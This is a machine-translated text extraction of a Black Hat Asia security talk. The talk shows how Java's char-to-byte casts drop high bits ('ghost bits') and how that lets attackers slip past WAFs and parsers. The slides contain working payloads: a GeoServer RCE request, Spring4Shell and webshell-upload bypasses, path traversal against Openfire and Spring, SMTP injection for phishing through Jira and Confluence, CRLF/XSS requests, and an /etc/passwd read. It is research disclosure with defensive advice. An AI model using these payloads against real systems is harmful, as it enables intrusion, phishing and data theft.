Cast Attack: A New Threat Posed by Ghost Bits in Java (English translation)

Cast Attack: A New Threat Posed by Ghost Bits in Java - Author not stated, Publisher not stated.

- Published: date not stated
- Original: <https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf>
- Preserved from: https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf (live) on 2026-08-08
- Licence: unknown

Content (translated into English)

Machine translation of `cast-attack-new-threat-posed-ghost-bits-java.md`, which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Cast Attack A New Threat Posed by Bits in Java Who are we Speakers Xinyu Bai Zhihui Chen Photo B1u3r (Light Blue) Photo 1ue blue@ixsec.org 1ue1uekin8@gmail.com

Security Researcher Security Engineer @ AlibabaCloud Focused on Web & Application Vulnerability Research Focus on Application security @iSafeBlue @luelueking @b1u3r @1ue1166323

Contributor Zongzheng Zheng SpringKill @chun_springX What's Ghost Bits ? Concept X BurpSuite Encoding Story The Discovery STEP 1: INPUT The Issue Root Cause Analysis This method writes each character of the string to Testing request_uri with Chinese characters... the output stream by discarding its high 8 bits, Method Used: causing data corruption for non-ASCII characters. \u5927\u9ED1\u9614 DataOutputStream#writeBytes(String s)

Characters converted to weird bytes: STEP 2: UNEXPECTED OUTPUT

\x27\xd1\x14 High eight bits? Ghost Bits !!!

Ghost 1. (byte) ch bits 2. ch & 0xff is 3. baos.write(ch) every 4. writeBytes(..... where !!! what can we do? Traffic spoofing WAF Bypass BCEL Ghost Bits — WAF Bypass new ClassLoader().loadClass("$$BCEL$$ ...").newInstance()

STEP 1 ClassLoader#createClass() STEP 2 Utility#decode() VULNERABILITY POINT ByteArrayOutputStream#write(ch)

Utility.java — Decoding Logic

1 char[] chars = s.toCharArray(); 2 CharArrayReader car = new CharArrayReader(chars); 3 JavaReader jr = new JavaReader(car); 4 ByteArrayOutputStream bos = new ByteArrayOutputStream(); 5 int ch; 6 while((ch = jr.read()) >= 0) { 7 bos.write(ch); // Ghost Bits Injected Here 8 } Jackson Ghost Bits — WAF Bypass WAF SEES charToHex — ch & 255 JACKSON SEES

INPUT STRING AFTER CHARTOHEX DECODING

public static int charToHex (int ch) { "name": "\u \u \u \u "name": "1 union select return sHexValues [ch & 255]; E\u \u F\u E\u \u 1,2,3--" \u \u C\u \u } \u \u \u \u \u " Ghost Bit: upper 8 bits silently dropped JACKSON MAPS FIELD AS WAF INTERPRETS AS CHARACTER MAPPING

0x4E30 & 255 0x30 0 1 union select \u ... 0x4E30 & 255 0x30 0 1,2,3-- 0x8033 & 255 0x33 3 SQL injection executed

0x5931 & 255 0x31 1

No SQL keyword found SQL injection Result: "1" fastjson \u escape JSONLexerBase.java

WAF SEES BYPASSED PAYLOAD 1 case 'u' : { "@type" : "com.sun.rowset.JdbcRowSetImpl "} {" \u type": ...} 2 char c1 = this .next (); 3 char c2 = this .next (); PASS BLOCK 4 char c3 = this .next (); 5 char c4 = this .next (); 6 int val = Integer .parseInt (7 new String (new char []{c1,c2,c3,c4}), 16); 8

9 this .putChar ((char) val); break ; Vai Thai Thai Punjabi U+A620 U+0E50 U+0E54 U+0A66

The Mechanism digit() "0" digit() "0" digit() "4" digit() "0"

Integer.parseInt uses Character.digit(), which accepts Unicode decimal digits from various scripts.

parseInt("0040" , 16) = 0x0040 @ fastjson \x escape WAF SEES {"@type": "..."} BLOCK BYPASSED PAYLOAD {"\x4_type": ...} PASS

JSONLexerBase.java

case 'x': '4' '_' char x1 = this.ch = this.next(); x1 = 0x34 (52) + x2 = 0x5F (95)

char x2 = this.ch = this.next(); digits[52] digits[95] =4 =0 int x_val = digits[x1] * 16

- digits[x2];

digits[x1] × 16 + digits[x2] char x_char = (char) x_val; = 4 × 16 + 0 = (char)64 = '@' hash = 31 * hash + x_char; this.putChar(x_char); @type resolved Deserialization Tomcat File Upload Bypass WAF Inspection Ghost Bit Server Saves RFC2231Utility.java U+966A filename*= 1001 0110 0110 1010

1.jsp private static byte[] fromHex(final String text) { final int shift = 4; "UTF-8"1. sp" (byte) c final ByteArrayOutputStream out = new ByteArrayOutputStream(text.length()); = U+966A 0x96 dropped WAF saw: 1. sp for (int i = 0; i < text.length();) { Server got: 1.jsp Not .jsp — No Alert final char c = text.charAt(i++); PASS 0x4A = 'j' Webshell Upload if (c == '%') { // i > text.length()-2: break Request POST /upload Response 200 OK final byte b1 = HEX_DECODE[text.charAt(i++) & MASK]; POST /upload HTTP/1.1 HTTP/1.1 200 OK final byte b2 = HEX_DECODE[text.charAt(i++) & MASK]; Host: localhost:8080 Content-Length: 6 Content-Type: multipart/form-data Date: Sat, 01 Jun 2024 out.write((b1 << shift) | b2); Connection: close } else { ------WebKitFormBoundary...

out.write((byte) c); // Ghost Bit! Content-Disposition: form-data; } 1.jsp Saved Successfully name="file"; } return out.toByteArray(); filename*="UTF-8''1. sp"

} BlackHat... ------WebKitFormBoundary--- Full-width URL Encoding Bypass

2 e f U+FF12 U+0032 U+FF45 U+0065 U+FF46 U+0066

% % % decoded byte %2e%2e%2f = ../

STEP 1 /opt/ tmp test /opt/../tmp/test URLDecoder U+FF12 2 STEP 2 U+0032 /opt/ tmp test /opt/../tmp/test File.toURL()

STEP 3 file:/opt/ tmp test file:/opt/../tmp/test new URL(...) Ghost-Bit URL Encoding Bypass stdout Spring Undertow Input Input

1u%65. sp 1ue\u2e6asp

Method Method DECODED RESULT

1ue.jsp StringUtils.uriDecode("1u%65. sp", UTF_8) URLUtils.decode("1ue\u2e6asp", "UTF-8", false, false, sb)

Jetty Vert.x Input Input Status: Success 1ue%2>sp 1ue%2e. sp Type: File Access Bypass: Normalization Method Method URIUtil.decodePath("1ue%2>sp") RFC3986.decodeURIComponent("1ue%2e. sp", true)

process completed Base64 Decode Bypass ō Ř Ṛ Ŭ U+014D U+0158 U+0156 U+016C

& 0xFF 0x4D & 0xFF 0x58 & 0xFF 0x56 & 0xFF 0x6C pem_convert_array pem_convert_array pem_convert_array pem_convert_array [0x4D] = "M" [0x58] = "X" [0x56] = "V" [0x6C] = "l"

base64 idx = 19 base64 idx = 23 base64 idx = 21 base64 idx = 37

new BASE64Decoder(). decodeBuffer (" ōŘṚŬ ") = new BASE64Decoder(). decodeBuffer (" MXVl ") "1ue"

AFFECTED JDK INTERNAL DECODERS Ghost Bit: char index silently truncated to low byte — pem_convert_array[decode_buffer[i] & 255]

sun.misc.BASE64Decoder

com.sun.org.apache.xml.internal.security.utils.Base64

com.sun.xml.internal.messaging.saaj.util.Base64

WAF sees unrecognizable Unicode PASS decoder executes payload GeoServer CVE-2024-36401 bypass WAF Rule: block if URL contains Runtime | Runtime | Ru%6[eE]time

ATTACKER WAF JETTY GEOSERVER

Sends payload: Inspects raw URL: URL Decode: Receives clean: ...Ru%6>time. Ru%6>time %6> %6e 'n' exec(java.lang. getRu%6>time() ≠ Runtime | ≠ Ru%6etime Runtime.get No match PASS Runtime(), 'touch /tmp/...')

HTTP Request (actual payload sent) Server Filesystem — /tmp

GET /geoserver/wfs? service=WFS&version=2.0.0 root@34d7e49ed3fe:/tmp# ls &request=GetPropertyValue hsperfdata_root &typeNames=sf:archsites&valueReference= exec(java.lang.Ru%6>time.getRu%6>time(),'touch%20/tmp/success') success created by RCE!

Host: your-ip:8080 User-Agent: Mozilla/5.0 ... Spring4Shell WAF bypass RFC2231Utility.java Payload Analysis class Unicode Normalization Vulnerability private static byte[] fromHex (final String text) { final int shift = 4; final ByteArrayOutputStream out U+3E63 (byte) 0x63 'c' = new ByteArrayOutputStream(text.length()); for (int i = 0; i < text.length();) { final char c = text.charAt(i++); U+0C6C (byte) 0x6C 'l' if (c == '%') { final byte b1 = HEX_DECODE[text.charAt(i++) & MASK]; final byte b2 = HEX_DECODE[text.charAt(i++) & MASK]; U+1661 (byte) 0x61 'a' out.write((b1 << shift) | b2); } else { U+2473 (byte) 0x73 's' out. write ((byte) c); // Ghost Bits!

} } U+2473 (byte) 0x73 's' VULNERABILITY DETECTED: TRUNCATION Spring4Shell WAF bypass

Original Payload Ghost Bits Payload

POST /exploit HTTP/1.1 POST /exploit HTTP/1.1 ... ... ---------- AERDaopYEqKNTRHptzsnYKFZbjMjNnbBuV ---------- AERDaopYEqKNTRHptzsnYKFZbjMjNnbBuV Content-Disposition:form-data; name= " class Content-Disposition:form-data; name*=utf-8'' .module.classLoader.resources.context.parent.pipeline.first.directory" .module.classLoader.resources.context.parent.pipeline.first.directory"

webapps/ROOT webapps/ROOT ----------AERDaopYEqKNTRHptzsnYKFZbjMjNnbBuV ----------AERDaopYEqKNTRHptzsnYKFZbjMjNnbBuV ... ...

WAF BLOCKED Pattern: 'class' matched WAF BYPASSED Pattern: No match RealWorld Vulnerabilities Attack Vector "Ghost Bits" Bypass Auth Openfire (CVE-2023-32315)

From /../ to Auth Bypass Vulnerability Background & Core Logic (CVE-2023-32315)

The Openfire Admin Console uses AuthCheckFilter to manage access control. The vulnerability lies in the logic governing the Exclusion List (Excludes).

Vulnerable Path org.jivesoftware.admin.AuthCheckFilter

CORE LOGIC If a request path matches an exclusion rule (e.g., setup/setup-*), the doExclude flag is set to true, bypassing subsequent authentication checks. Traditional Unicode Bypass (%u002e) TRADITIONAL PAYLOAD BACKGROUND

Over a decade ago (CVE-2008-6508), developers /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp attempted to fix path traversal by blacklisting and .. . %2e

CVE-2023-32315 discovered this could be bypassed BYPASS REASON using %u002e (UTF-16 encoded dot). AuthCheckFilter only scans for .. and %2e. It does not recognize %u002e and returns true.

The underlying Jetty server supports %u decoding, normalizing it back to ...

Jetty canonicalizes the path to /log.jsp and executes the request with administrative privileges. Advanced Exploit: The "Ghost Bits" Payload (%2>) Moving beyond Unicode, attackers can leverage flaws in Jetty's low-level hex conversion functions to use %2> instead of a literal dot ...

NEW BYPASS PATH WHY IT WORKS

AuthCheckFilter and most WAFs perceive %2> as an invalid URL encoding or a harmless string.

Jetty's TypeUtil.convertHexDigit suffers from "Ghost Bits Loss" when handling non-hexadecimal characters, forcing them into /setup/setup-s/%2>%2>/%2>%2>/log.jsp valid hex values. Source Analysis: Jetty's Ghost Bits Loss The root cause is an optimization algorithm in org.eclipse.jetty.util.TypeUtil#convertHexDigit.

KEY INSIGHT

Designed for high performance, this function lacks strict range validation for input characters.

Uses bitwise operations to "collapse" characters into the 0-15 range.

Non-hex characters are silently converted to valid hex digits. Mathematical Proof: Why > equals E? By tracing the character > through the convertHexDigit algorithm, we can see how the identifying "bits" are stripped away:

Character > Step 1: Execute c & 0x1f

ASCII value 0x3E Binary: 0011 1110 0011 1110 & 0001 1111 = 11110 Decimal 30. High bits truncated ("Ghost Bits").

Step 2: Execute (c >> 6) Final Calculation

Since 0x3E < 64, the result is 0 Decimal 14 in Hex is E 30 + (0 × 25) - 16 = 14Decimal 14 in Hex is E The Attack-Defense Game: Evolution of Obfuscation Using %2> is significantly more effective in real-world scenarios than %u002e:

Comparison Attack Chain

• WAF Visibility: %u002e = Extremely High (Commonly blocked) vs %2> = Extremely Low (Appears as noise)

Attacker sends %2> request • Parser Support: %u002e = Limited to UTF-16 aware servers vs %2> = Dependent on "loose" Hex algorithms WAF permits (assumes harmless) • Obfuscation Potential: %u002e = Static vs %2> = High (e.g., %2^, %2~ might also map to .) Openfire Filter permits (no blacklist match)

Jetty decodes and canonicalizes to .. Unauthorized Admin Access "Ghost Bits" Read Arbitrary File: Spring CVE-2025-41242

Let's "Hack" the Spring Framework!!! Patch First - Insights from GitHub PR #34673 StringUtils.java Code Comparison Patch Background Fix Target: Corrected the logic error in when decoding hexadecimal sequences.

StringUtils.uriDecode

Bits "Collapse" Java char is 16-bit, but baos.write only accepts the lowest 8 bits.

If a character's high bits (Ghost Bits) are non-zero, they are discarded during the write operation, leaving only the low 8 bits to represent the character.

ghost bits POC & Call Stack Function Call Chain POC Exploit

HTTP Request & Response The Crafted Payload - Why " "? RESULT /.%u002e/ CHARACTER UNICODE TRUNCATED BYTE ASCII RESULT

U+962E 0x2E .

U+4E25 0x25 %

U+7075 0x75 u

U+4E30 0x30 0

U+4E30 0x30 0

U+7532 0x32 2

U+6765 0x65 e

The "Alchemy" of Payload Art of Bypass - Time Gap & Double Parsing Spring’s Static Defense // ResourceHttpRequestHandler#getResource if (isInvalidPath(path)) return null; // Checks for "../" literal

Bypass Principle: Path is /.%u002e/ . No ../ substring found. Returns Green (Safe). Jetty’s Physical Execution Enters PathResource#resolve .

Critical Feature: Recognizes %u002e as Unicode dot (.).

Collapsed Path: /.%u002e/ ../../

Conclusion Spring sees "harmless" Unicode, while Jetty interprets "lethal" directory traversal markers. "Ghost Bits" Inject SMTP Protocol: CVE- 2025-7962 Deep Dive into SMTP Injection

Code Snippet: • The Crime Scene: ASCIIUtility.java

• Developers implicitly assume that the inputted String s consists entirely of standard ASCII characters (0-127).

• If an attacker inputs Unicode characters ghost bits outside the ASCII range, the loop still executes the forced cast, instantly mutating an otherwise "safe" character. SMTP Protocol Smuggling Taking Over the SMTP Session Core Points

Using the \r\n generated by the "Ghost Bits", attackers can prematurely close current SMTP commands.

Attack Payload Example

attacker[Ghost\r\n]DATA[Ghost\r\n]Subject: You are Hacked![Ghost\r\n][Ghost\r\n]Malicious Link...

Actual Raw Message

RCPT TO:<attacker@qq.com> DATA Subject: You are Hacked! Malicious Link... . QUIT The Domino Effect (Supply Chain Impact) From Bottom to Top: A Fallen Supply Chain

Core Points angus.mail does not exist in isolation; it is a foundational $800 bugbounty pillar of the Java ecosystem.

As long as an upstream application allows user input for email addresses and sends emails from the CVE-2025-57733 backend, it can trigger the underlying truncation. Case Study 1 — System Mail Hijacking Affected Versions: Jira v9.12.16 Jira Turned into an Official Phishing Launcher

Attack Chain Lethal Impact

The attacker registers a new account in Jira. SENDER IDENTITY

Inputs a string containing the Ghost Bits payload into the "Email The sender is the real, official Jira email address. Address" field.

The Jira backend attempts to send a "Registration Confirmation" email. SECURITY BYPASS Perfectly bypasses SPF, DKIM, and DMARC validations.

SMTP injection is triggered; original email is discarded and replaced by attacker's custom content. VICTIM EXPERIENCE Victims receive flawless phishing emails featuring the company's official digital signatures. Case Study 1 — System Mail Hijacking (Jira)

@qq.com

2336485988@qq.com> DATA Subject:PWNED

I LOVE YOU! . QUIT @qq.com Case Study 2 — Business Logic & Domain Restriction Bypass (Confluence) Scenario Setup Administrator configures Confluence to only allow registrations from employees with the @company.com suffix.

Attack Chain Attacker Input: hacker[GhostBits]@company.com

Application Validation: Confluence checks the end of the string, verifies it is indeed @company.com, and allows the registration!

Low-Level Transport: Angus Mail serializes data, encounters \r\n. SMTP interprets this as the end of the RCPT TO command at hacker@qq.com.

Lethal Impact Email sent to attacker's hacker@qq.com inbox. Attacker successfully gains internal system account privileges. Case Study 2 — Business Logic & Domain Restriction Bypass (Confluence) Step 1 Configure an SMTP server for Confluence Step 2 Restrict registration to @confluence.com emails only Case Study 2 — Business Logic & Domain Restriction Bypass (Confluence) Attempted to register using 1ue@qq.com Attempted to register using 1ue@confluence.com Step 3 Step 4 — registration failed (domain not allowed) — confirmation email sent, but we doesn't own mailbox

Registration Failed Email Sent, No Access Case Study 2 — Business Logic & Domain Restriction Bypass (Confluence) Step 5 Without an @confluence.com email, how can the attacker register?

Step 6 SMTP Injection — Inject a crafted payload to redirect the confirmation email to attacker's address

RCPT TO: <2336485988@qq.com> DATA Subject:PWNED

@confluence.com DATA Date: Sat, 5 Jul 2025 04:41:53 +0000 (UTC) From: "Anonymous (Confluence)" <admin@jira.com> To: @confluence.com Message-ID: <33782680.3.1751690514412@fc4ee19a1302> Subject: [confluence] Confluence Signup Confirmation MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Auto-Submitted: auto-generated Precedence: bulk

<html> <head> Case Study 2 — Business Logic & Domain Restriction Bypass (Confluence) Step 7 Attacker successfully received the registration email and registered the account Attack Successful

Email Received by Attacker Registration Email Content (HTML Source) "Ghost Bits" in CRLF to ...?

Two cases to demonstrate what else "ghost bits" can do CASE1 - Apache HttpClient Header CRLF

Vulnerability: HTTPCLIENT-1974 / HTTPCLIENT-1978 (≤ 4.5.9) (ORG.APACHE.HTTP.UTIL.BYTEARRAYBUFFER)

Older versions of Apache HttpClient blindly cast character arrays to bytes when building HTTP headers. If an application embeds user-supplied tokens into a request header, it creates a prime sink for this Cast Attack. ghost bits CASE1 - CRLF ..... Request Smuggling ! Frontend Proxy The Malicious Payload (PoC) Sees 1 Request

GET /auth HTTP/1.1 X-Auth-Token: 1\u760D\u760APOST /newRequest...

Backend Target The Injection (Java Application) Sees 2 Requests (Mutation)

GET /auth HTTP/1.1 X-Auth-Token: 1 POST /newRequest HTTP/1.1 Host: target.com CASE2 - JDK Native HttpServer Flaw VULNERABILITY CONTEXT

CVE-2026-21933 Server reflects input into Response Headers.

com.sun.net.httpserver.HttpServer demo

Injection Response Header

Servers are equally vulnerable. If the JDK HttpServer reflects unvalidated input like a URL query directly into a Response Header, it sets the stage for response manipulation. CASE2 - CRLF ..... XSS! The Exploit Request sun.net.httpserver.HttpExchangeImpl#sendRes curl -v 'http://localhost:8080/custom-header?Cu%E7%98%8D%E7%98%8AContent- ponseHeaders Type%3A%20text%2Fhtml%E7%98%8D%E7%98%8AContent- sun.net.httpserver.ExchangeImpl#sendRespon Length%3A%2025%E7%98%8D%E7%98%8A%E7%98%8D%E7%98%8A%3Cscript%3Ealer seHeaders t%281%29%3C%2Fscript%3E%E7%98%8D%E7%98%8A%E4%BC%80' sun.net.httpserver.ExchangeImpl#write

HTTP Response Structure == \r\n

HTTP/1.1 200 OK\r\n Custom-Header: Cu Content-Type: text/html Content-Length: 25

<script>alert(1)</script> Conclusion Summary and outlook Ghost Bits: Polymorphism

Authentication Request XSS SMTP Injection Path Traversal Bypass Smuggling WAF Bypass ...

GhostBits Ghost Bits: Auto Discovery

Secrux: • (byte) ch Capture wild • ch & 255 Ghost bits • 0xff & ch • DataOutputStream.writeBytes • OutputStream.write(int) • StringBufferInputStream.read • String.getBytes(int, int, byte[], int) • RandomAccessFile.writeBytes • URLDecoder.decode • ... ActiveJ – HTTP CRLF

Secrux Result

ActiveJ /cookie Lettuce – Ghost Redis StringValue CommandArgs.StringArgument#writeString

// CommandArgs.StringArgument#writeString static void writeString(ByteBuf target, String value) { target.writeByte('$'); IntegerArgument.writeInteger(target, value.length()); target.writeBytes(CRLF); for (int i = 0; i < value.length(); i++) { target.writeByte((byte) value.charAt(i)); } target.writeBytes(CRLF); }

{ "name" : "1ue" , "target" : "hack" } // ,"target":"flag{test}"}

INJECTED ORIGINAL

{ "name"::"1ue", "target":"hack"} { "name"::"1ue", "target"::"flag{test}"}

INPUT TRANSFORMATION VULNERABILITY VS Input (Unicode) After (byte) cast getTarget() "hack" getTarget() "flag{test}" ıŵťĢĬĠĢŴšỤŧtŴĢĺĠĢŨšţūĢĠŽĠjįĠ 1ue", "target": "hack" } // XMLWriter – Ghost Tag key PROCESSED OUTPUT

INPUT SOURCE

Original XML XML as seen by parser

< >1ue</ > <j>1ue</j> Jodd – Ghost Path ORIGINAL PATH JODD SEES

file:///tŴţ%2fŰšųųŷŤ file:///etc/passwd

/etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

... Takeaways

This Is Just the Beginning For security researchers and hackers: Keep hunting for "ghost bits" and continue pushing deeper to expose the hidden risks beneath the surface.

For organizations: Proactively assess your products for dormant "ghost bits" and address these latent risks before attackers do. Unknown Attack Surface Unexplored Exploitation Paths For developer: As you build and maintain code, stay vigilant for logic flaws and Yet-to-be-discovered vulnerabilities implementation risks that could give rise to "ghost bits."

For security vendors: Strengthen detection and mitigation against "ghost bits." For example, Alibaba Cloud WAF has already rolled out protection rules for some of the related vulnerabilities and bypass techniques. We have only scratched the surface Thanks

@b1u3r @1ue1166323 Open to discussion and collaboration